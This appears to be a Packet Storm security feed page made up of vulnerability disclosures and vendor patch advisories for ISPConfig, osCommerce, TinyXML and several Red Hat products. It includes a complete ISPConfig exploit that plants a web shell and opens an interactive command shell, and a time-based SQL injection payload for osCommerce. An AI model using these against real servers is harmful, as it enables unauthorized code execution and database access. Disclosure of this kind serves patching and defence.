ISPConfig versions 4.2.11 and below suffer from a PHP code injection vulnerability in language_edit.php.

------------------------------------------------------------------------  
ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability  
------------------------------------------------------------------------

[-] Software Link:

https://www.ispconfig.org

[-] Affected Versions:

Version 3.2.11 and prior versions.

[-] Vulnerabilities Description:

User input passed through the "records" POST parameter to  
/admin/language_edit.php is not properly sanitized before being used  
to dynamically generate PHP code that will be executed by the  
application. This can be exploited by malicious administrator users to  
inject and execute arbitrary PHP code on the web server.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2023-46818.php  
(Packet Storm Editor Note: See bottom of this file for PoC)

[-] Solution:

Upgrade to version 3.2.11p1 or later.

[-] Disclosure Timeline:

[25/10/2023] - Vendor notified  
[26/10/2023] - Version 3.2.11p1 released  
[27/10/2023] - CVE identifier assigned  
[07/12/2023] - Publication of this advisory

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2023-46818 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-13

[-] Other References:

https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/

--- CVE-2023-46818.php PoC ---

<?php

/*  
    ------------------------------------------------------------------------  
    ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability  
    ------------------------------------------------------------------------

    author..............: Egidio Romano aka EgiX  
    mail................: n0b0d13s[at]gmail[dot]com  
    software link.......: https://www.ispconfig.org

    +-------------------------------------------------------------------------+  
    | This proof of concept code was written for educational purpose only.    |  
    | Use it at your own risk. Author will be not responsible for any damage. |  
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    User input passed through the "records" POST parameter to /admin/language_edit.php is  
    not properly sanitized before being used to dynamically generate PHP code that will be  
    executed by the application. This can be exploited by malicious administrator users to  
    inject and execute arbitrary PHP code on the web server.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-13  
*/

set_time_limit(0);  
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

@unlink('./cookies.txt');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$url}login/");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');  
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');  
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($user)."&password=".urlencode($pass)."&s_mod=login");

if (preg_match('/Username or Password wrong/i', curl_exec($ch))) die("[-] Login failed!\n");

print "[+] Injecting shell\n";

$__phpcode = base64_encode("<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>");  
$injection = "'];file_put_contents('sh.php',base64_decode('{$__phpcode}'));die;#";  
$lang_file = str_shuffle("qwertyuioplkjhgfdsazxcvbnm").".lng";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");  
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");

$res = curl_exec($ch);

if (!preg_match('/_csrf_id" value="([^"]+)"/i', $res, $csrf_id)) die("[-] CSRF ID not found!\n");  
if (!preg_match('/_csrf_key" value="([^"]+)"/i', $res, $csrf_key)) die("[-] CSRF key not found!\n");

curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}&_csrf_id={$csrf_id[1]}&_csrf_key={$csrf_key[1]}&records[%5C]=".urlencode($injection));

curl_exec($ch);

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/sh.php");  
curl_setopt($ch, CURLOPT_POST, false);

while(1)  
{  
    print "\nispconfig-shell# ";  
    if (($cmd = trim(fgets(STDIN))) == "exit") break;  
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);  
    preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");  
}

ISPConfig 3.2.11 PHP Code Injection

Ubuntu Security Notice 6542-1 - Wang Zhong discovered that TinyXML incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-6542-1December 07, 2023tinyxml vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTS- Ubuntu 18.04 LTS (Available with Ubuntu Pro)- Ubuntu 16.04 LTS (Available with Ubuntu Pro)Summary:TinyXML could be made to crash if it opened a specially craftedfile.Software Description:- tinyxml: A simple, small, minimal, C++ XML parserDetails:Wang Zhong discovered that TinyXML incorrectly handled certain inputs. If auser or an automated system were tricked into opening a specially craftedinput file, a remote attacker could possibly use this issue to cause adenial of service.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:   libtinyxml-dev                  2.6.2-4+deb10u1build0.20.04.1   libtinyxml2.6.2v5               2.6.2-4+deb10u1build0.20.04.1Ubuntu 18.04 LTS (Available with Ubuntu Pro):   libtinyxml-dev                  2.6.2-4ubuntu0.18.04.1~esm1   libtinyxml2.6.2v5               2.6.2-4ubuntu0.18.04.1~esm1Ubuntu 16.04 LTS (Available with Ubuntu Pro):   libtinyxml-dev                  2.6.2-3ubuntu0.1~esm1   libtinyxml2.6.2v5               2.6.2-3ubuntu0.1~esm1In general, a standard system update will make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-6542-1   CVE-2021-42260Package Information:   https://launchpad.net/ubuntu/+source/tinyxml/2.6.2-4+deb10u1build0.20.04.1

Ubuntu Security Notice USN-6542-1

osCommerce version 4 suffers from a remote SQL injection vulnerability.

    # Exploit Title: osCommerce 4 - SQL Injection# Exploit Author: CraCkEr# Date: 22/11/2023# Vendor: osCommerce ltd.# Vendor Homepage: https://www.oscommerce.com/# Software Link: https://demo.oscommerce.com/# Demo Link: https://demo.oscommerce.com/b2b-supermarket/# Tested on: Windows 11 Home# Impact: Database Access# CWE: CWE-89 - CWE-74 - CWE-707# CVE: CVE-2023-6579# VDB: VDB-247160## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushkaCryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionSQL injection attacks can allow unauthorized access to sensitive data, modification ofdata and crash the application or make it unavailable, leading to lost revenue anddamage to a company's reputation.Path: /b2b-supermarket/shopping-cartPOST Parameter 'estimate[country_id]' is vulnerable to SQLi---Parameter: estimate[country_id] (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)    Payload: estimate[country_id]=223'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&estimate[post_code]=900001&estimate[shipping]=flat_flat&ajax_estimate=ajax_estimate&_csrf=7u6VPwL2TxKyd-mt8RufHw3nHwO95CIbzlY1L1y2BueKuf0MNs42S8pCnNybbOxmWaFUYcuwbiq8YAJVDNBHsw==----------------------------------------------POST /b2b-supermarket/shopping-cart HTTP/2estimate%5Bcountry_id%5D=[SQLi]&estimate%5Bpost_code%5D=900001&estimate%5Bshipping%5D=flat_flat&ajax_estimate=ajax_estimate&_csrf=7u6VPwL2TxKyd-mt8RufHw3nHwO95CIbzlY1L1y2BueKuf0MNs42S8pCnNybbOxmWaFUYcuwbiq8YAJVDNBHsw%3D%3D-------------------------------------------[-] Done

osCommerce 4 SQL Injection

Red Hat Security Advisory 2023-7705-03 - Red Hat Build of Apache Camel for Quarkus 2.13.3 release and security update is now available. The purpose of this text-only errata is to inform you about the security issues fixed. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7705.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat Build of Apache Camel for Quarkus 2.13.3 security update (RHBQ 2.13.9.Final)  
Advisory ID:        RHSA-2023:7705-03  
Product:            Red Hat Integration  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7705  
Issue date:         2023-12-07  
Revision:           03  
CVE Names:            
====================================================================

Summary: 

Red Hat Build of Apache Camel for Quarkus 2.13.3 release and security update is now available (updates to RHBQ 2.13.9.Final).  The purpose of this text-only errata is to inform you about the security issues fixed.

 Red Hat Product Security has rated this update as having an impact of Important.  
 A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

A security update for Red Hat Build of Apache Camel for Quarkus 2.13.3 is now available (updates to RHBQ 2.13.9.Final).  The purpose of this text-only errata is to inform you about the security issues fixed.  
 Red Hat Product Security has rated this update as having an impact of Important.

 A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

 Security Fix(es):

  * CVE-2023-5072 JSON-java: parser confusion leads to OOM  
   * CVE-2023-39410 avro: apache-avro: Apache Avro Java SDK: Memory when deserializing untrusted data in Avro Java SDK  
   * CVE-2023-35887 sshd-common: apache-mina-sshd: information exposure in SFTP server implementations  
   * CVE-2023-34462 netty: SniHandler 16MB allocation leads to OOM  
   * CVE-2023-34455 snappy-java: Unchecked chunk length leads to DoS

Solution:

CVEs:

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/cve/CVE-2023-5072  
https://bugzilla.redhat.com/show_bug.cgi?id=2215445  
https://bugzilla.redhat.com/show_bug.cgi?id=2216888  
https://bugzilla.redhat.com/show_bug.cgi?id=2240036  
https://bugzilla.redhat.com/show_bug.cgi?id=2242521  
https://bugzilla.redhat.com/show_bug.cgi?id=2246417

Red Hat Security Advisory 2023-7705-03

Red Hat Security Advisory 2023-7704-03 - Red Hat OpenShift Virtualization release 4.14.1 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7704.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Virtualization 4.14.1 security and bug fix update  
Advisory ID:        RHSA-2023:7704-03  
Product:            OpenShift Virtualization  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7704  
Issue date:         2023-12-07  
Revision:           03  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Red Hat OpenShift Virtualization release 4.14.1 is now available with updates to packages and images that fix several bugs and add enhancements.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform.

This advisory contains OpenShift Virtualization 4.14.1 images.

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Bug Fix(es):

* LVM created from the VMs are getting activated in the OCP nodes (BZ#2156753)

* Unable to create snapshot for VM with mounted second disk (PVC) (BZ#2223411)

* Cannot clone DataVolume from \"local\" to rook-ceph-block (BZ#2231479)

* virtctl image-upload fails with \"uploadproxy URL not found\" (BZ#2237470)

* Populators with retainAfterCompletion annotation (BZ#2237877)

* After draining node where mtq system pods running the namespace becomes locked but ResourceQuota not updated (BZ#2238786)

* repeating log message in mtq-controller pod even after removing the VM/Namespace (BZ#2238791)

* Wrong error message when attempting to upload an image to a PVC that already has disk.img (BZ#2241658)

* MTQ does not work with LimitRanges (BZ#2241953)

* MTQ does not work with Auto Memory Limits (BZ#2244869)

* Virtual machine export is not working on Quota defined namespace (BZ#2247200)

* Host assisted clone hangs because some provisioners don't allow mounting block PVC read only (BZ#2247657)

* When encountering an IO error VM crashes during Windows shared cluster evaluation (BZ#2249846)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://bugzilla.redhat.com/show_bug.cgi?id=2156753  
https://bugzilla.redhat.com/show_bug.cgi?id=2223411  
https://bugzilla.redhat.com/show_bug.cgi?id=2231479  
https://bugzilla.redhat.com/show_bug.cgi?id=2237470  
https://bugzilla.redhat.com/show_bug.cgi?id=2237877  
https://bugzilla.redhat.com/show_bug.cgi?id=2238786  
https://bugzilla.redhat.com/show_bug.cgi?id=2238791  
https://bugzilla.redhat.com/show_bug.cgi?id=2241658  
https://bugzilla.redhat.com/show_bug.cgi?id=2241953  
https://bugzilla.redhat.com/show_bug.cgi?id=2242803  
https://bugzilla.redhat.com/show_bug.cgi?id=2243296  
https://bugzilla.redhat.com/show_bug.cgi?id=2244869  
https://bugzilla.redhat.com/show_bug.cgi?id=2247200  
https://bugzilla.redhat.com/show_bug.cgi?id=2247657  
https://bugzilla.redhat.com/show_bug.cgi?id=2249846  
https://issues.redhat.com/browse/CNV-31077  
https://issues.redhat.com/browse/CNV-31675  
https://issues.redhat.com/browse/CNV-31991  
https://issues.redhat.com/browse/CNV-32287  
https://issues.redhat.com/browse/CNV-32672  
https://issues.redhat.com/browse/CNV-32770  
https://issues.redhat.com/browse/CNV-32937  
https://issues.redhat.com/browse/CNV-32940  
https://issues.redhat.com/browse/CNV-32970  
https://issues.redhat.com/browse/CNV-33621  
https://issues.redhat.com/browse/CNV-33665  
https://issues.redhat.com/browse/CNV-34138  
https://issues.redhat.com/browse/CNV-34724  
https://issues.redhat.com/browse/CNV-34761  
https://issues.redhat.com/browse/CNV-34786  
https://issues.redhat.com/browse/CNV-34892  
https://issues.redhat.com/browse/CNV-35205  
https://issues.redhat.com/browse/CNV-35242  
https://issues.redhat.com/browse/CNV-35723

Red Hat Security Advisory 2023-7704-03

Red Hat Security Advisory 2023-7703-03 - Red Hat OpenShift Pipelines 1.10.6 has been released. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7703.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat OpenShift Pipelines 1.10.6 release and security update  
Advisory ID:        RHSA-2023:7703-03  
Product:            Red Hat OpenShift Pipelines  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7703  
Issue date:         2023-12-07  
Revision:           03  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Red Hat OpenShift Pipelines 1.10.6 has been released.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Pipelines is a cloud-native continuous integration and delivery (CI/CD) solution for building pipelines using Tekton. Tekton is a flexible, Kubernetes-native, open-source CI/CD framework which enables automating deployments across multiple platforms such as Kubernetes, Serverless, and VMs by abstracting away the underlying details.

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Red Hat OpenShift Pipelines consists of:

- Tekton Pipelines 0.44.x  
- Tekton Triggers 0.23.x  
- ClusterTasks based on Tekton Catalog  
- Tekton tkn CLI 0.30.x  
- Tekton Operator 0.65.x  
- Tekton Chains 0.15.x (GA)  
- Tekton Hub 1.12.x (TP)  
- Pipelines-as-Code 0.17.x (GA)

For more information, see the Release Notes on any one of the following platforms:

- Customer Portal: https://access.redhat.com/documentation/en-us/openshift_container_platform/4.13/html/cicd/pipelines#op-release-notes-1-12_op-release-notes

- OpenShift documentation: https://docs.openshift.com/container-platform/4.13/cicd/pipelines/op-release-notes.html#op-release-notes-1-12_op-release-notes

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://bugzilla.redhat.com/show_bug.cgi?id=2242803  
https://bugzilla.redhat.com/show_bug.cgi?id=2243296  
https://issues.redhat.com/browse/SRVKP-3609

Red Hat Security Advisory 2023-7703-03

Red Hat Security Advisory 2023-7699-03 - Red Hat OpenShift Pipelines Client tkn for 1.10.6 has been released. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7699.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat OpenShift Pipelines Client tkn for 1.10.6 release and security updateAdvisory ID:        RHSA-2023:7699-03Product:            Red Hat OpenShift PipelinesAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7699Issue date:         2023-12-07Revision:           03CVE Names:          CVE-2023-39325====================================================================Summary: Red Hat OpenShift Pipelines Client tkn for 1.10.6 has been released.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat OpenShift Pipelines Client, tkn for the 1.10.6 release, provides a CLI tool to interact with the Pipelines and Triggers components provided by Red Hat OpenShift Pipelines 1.10.6.The tkn CLI tool is delivered as an RPM package for installation on RHEL platforms, and as binaries for non-Linux platforms.Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003https://bugzilla.redhat.com/show_bug.cgi?id=2242803https://bugzilla.redhat.com/show_bug.cgi?id=2243296https://issues.redhat.com/browse/SRVKP-3610

Red Hat Security Advisory 2023-7699-03

Red Hat Security Advisory 2023-7697-03 - An update is now available for Red Hat AMQ Clients. Issues addressed include code execution, denial of service, deserialization, and resource exhaustion vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7697.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: AMQ Clients 2023.Q4  
Advisory ID:        RHSA-2023:7697-03  
Product:            Red Hat AMQ Clients  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7697  
Issue date:         2023-12-07  
Revision:           03  
CVE Names:          CVE-2022-1471  
====================================================================

Summary: 

An update is now available for Red Hat AMQ Clients

Red Hat Product Security has rated this update as having an impact of  
Moderate.  
A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed  
severity rating, is available for each vulnerability from the CVE link(s) in the  
References section.

Description:

Each Red Hat AMQ Client enables sending, and receiving messages to or from AMQ Broker 7.

This update provides various bug fixes and enhancements in addition to the  
client package versions previously released on Red Hat Enterprise Linux 8  
and 9.

Security Fix(es):

* (CVE-2023-34050) springframework-amqp: Deserialization Vulnerability  
* (CVE-2023-34462) netty: SniHandler 16MB allocation leads to OOM  
* (CVE-2023-40167) jetty: Improper validation of HTTP/1 content-length  
* (CVE-2022-1471) SnakeYaml: Constructor Deserialization Remote Code Execution  
* (CVE-2022-25857) snakeyaml: Denial of Service due to missing nested depth limitation for collections  
* (CVE-2022-38749) snakeyaml: Uncaught exception in org.yaml.snakeyaml.composer.Composer.composeSequenceNode  
* (CVE-2022-41854) dev-java/snakeyaml: DoS via stack overflow  
* (CVE-2023-1370) json-smart: Uncontrolled Resource Consumption vulnerability in json-smart (Resource Exhaustion)

For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-1471

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=jboss.amq.clients&version=2023.Q4  
https://access.redhat.com/documentation/en-us/red_hat_amq_clients/  
https://bugzilla.redhat.com/show_bug.cgi?id=2126789  
https://bugzilla.redhat.com/show_bug.cgi?id=2129706  
https://bugzilla.redhat.com/show_bug.cgi?id=2150009  
https://bugzilla.redhat.com/show_bug.cgi?id=2151988  
https://bugzilla.redhat.com/show_bug.cgi?id=2188542  
https://bugzilla.redhat.com/show_bug.cgi?id=2216888  
https://bugzilla.redhat.com/show_bug.cgi?id=2239634  
https://bugzilla.redhat.com/show_bug.cgi?id=2246065  
https://issues.redhat.com/browse/ENTMQCL-1291  
https://issues.redhat.com/browse/ENTMQCL-1517

Red Hat Security Advisory 2023-7697-03

Red Hat Security Advisory 2023-7626-03 - Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 2 is now available. Issues addressed include buffer overflow, denial of service, information leakage, and integer overflow vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7626.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP2 security updateAdvisory ID:        RHSA-2023:7626-03Product:            Red Hat JBoss Core ServicesAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7626Issue date:         2023-12-07Revision:           03CVE Names:          CVE-2023-0464====================================================================Summary: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 2 is now available.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat JBoss Core Services is a set of supplementary software for Red Hat JBoss middleware products. This software, such as Apache HTTP Server, is common to multiple JBoss middleware products and packaged under Red Hat JBoss Core Services, to allow for faster distribution of updates and for a more consistent update experience.This release of Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 2 serves as a replacement for Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 1, and includes bug fixes and enhancements, which are documented in the Release Notes linked to in the References section.Security Fix(es):* curl: a heap based buffer overflow in the SOCKS5 proxy handshake (CVE-2023-38545)* curl: out of heap memory issue due to missing limit on header quantity (CVE-2023-38039)* curl: cookie injection with none file (CVE-2023-38546)* jbcs-httpd24-mod_jk: httpd: Apache Tomcat Connectors (mod_jk) Information Disclosure (CVE-2023-41081)* jbcs-httpd24-openssl: OpenSSL: Excessive time spent checking DH q parameter value (CVE-2023-3817)* libxml2: crafted xml can cause global buffer overflow (CVE-2023-39615)* mod_http2: reset requests exhaust memory (incomplete fix of CVE-2023-44487) (CVE-2023-45802)* openssl: Excessive time spent checking DH keys and parameters (CVE-2023-3446)* openssl: Invalid certificate policies in leaf certificates are silently ignored (CVE-2023-0465)* openssl: Possible DoS translating ASN.1 object identifiers (CVE-2023-2650)* openssl: Denial of service by excessive resource usage in verifying X509 policy constraints (CVE-2023-0464)* openssl: Certificate policy check not enabled (CVE-2023-0466)* zlib: integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_6 (CVE-2023-45853)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:CVEs:CVE-2023-0464References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2181082https://bugzilla.redhat.com/show_bug.cgi?id=2182561https://bugzilla.redhat.com/show_bug.cgi?id=2182565https://bugzilla.redhat.com/show_bug.cgi?id=2207947https://bugzilla.redhat.com/show_bug.cgi?id=2224962https://bugzilla.redhat.com/show_bug.cgi?id=2227852https://bugzilla.redhat.com/show_bug.cgi?id=2235864https://bugzilla.redhat.com/show_bug.cgi?id=2238847https://bugzilla.redhat.com/show_bug.cgi?id=2239135https://bugzilla.redhat.com/show_bug.cgi?id=2241933https://bugzilla.redhat.com/show_bug.cgi?id=2241938https://bugzilla.redhat.com/show_bug.cgi?id=2243877https://bugzilla.redhat.com/show_bug.cgi?id=2244556

Red Hat Security Advisory 2023-7626-03

Red Hat Security Advisory 2023-7625-03 - An update is now available for Red Hat JBoss Core Services. Issues addressed include buffer overflow, denial of service, and information leakage vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7625.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP2 security updateAdvisory ID:        RHSA-2023:7625-03Product:            Red Hat JBoss Core ServicesAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7625Issue date:         2023-12-07Revision:           03CVE Names:          CVE-2023-0464====================================================================Summary: An update is now available for Red Hat JBoss Core Services.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat JBoss Core Services is a set of supplementary software for Red Hat JBoss middleware products. This software, such as Apache HTTP Server, is common to multiple JBoss middleware products and packaged under Red Hat JBoss Core Services, to allow for faster distribution of updates and for a more consistent update experience.This release of Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 2 serves as a replacement for Red Hat JBoss Core Services Apache HTTP Server 2.4.57 Service Pack 1, and includes bug fixes and enhancements, which are documented in the Release Notes linked to in the References section.Security Fix(es):* curl: a heap based buffer overflow in the SOCKS5 proxy handshake (CVE-2023-38545)* curl: out of heap memory issue due to missing limit on header quantity (CVE-2023-38039)* curl: cookie injection with none file (CVE-2023-38546)* jbcs-httpd24-mod_jk: httpd: Apache Tomcat Connectors (mod_jk) Information Disclosure (CVE-2023-41081)* jbcs-httpd24-openssl: OpenSSL: Excessive time spent checking DH q parameter value (CVE-2023-3817)* mod_http2: reset requests exhaust memory (incomplete fix of CVE-2023-44487) (CVE-2023-45802)* openssl: Excessive time spent checking DH keys and parameters (CVE-2023-3446)* openssl: Invalid certificate policies in leaf certificates are silently ignored (CVE-2023-0465)* openssl: Possible DoS translating ASN.1 object identifiers (CVE-2023-2650)* openssl: Denial of service by excessive resource usage in verifying X509 policy constraints (CVE-2023-0464)* openssl: Certificate policy check not enabled (CVE-2023-0466)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References 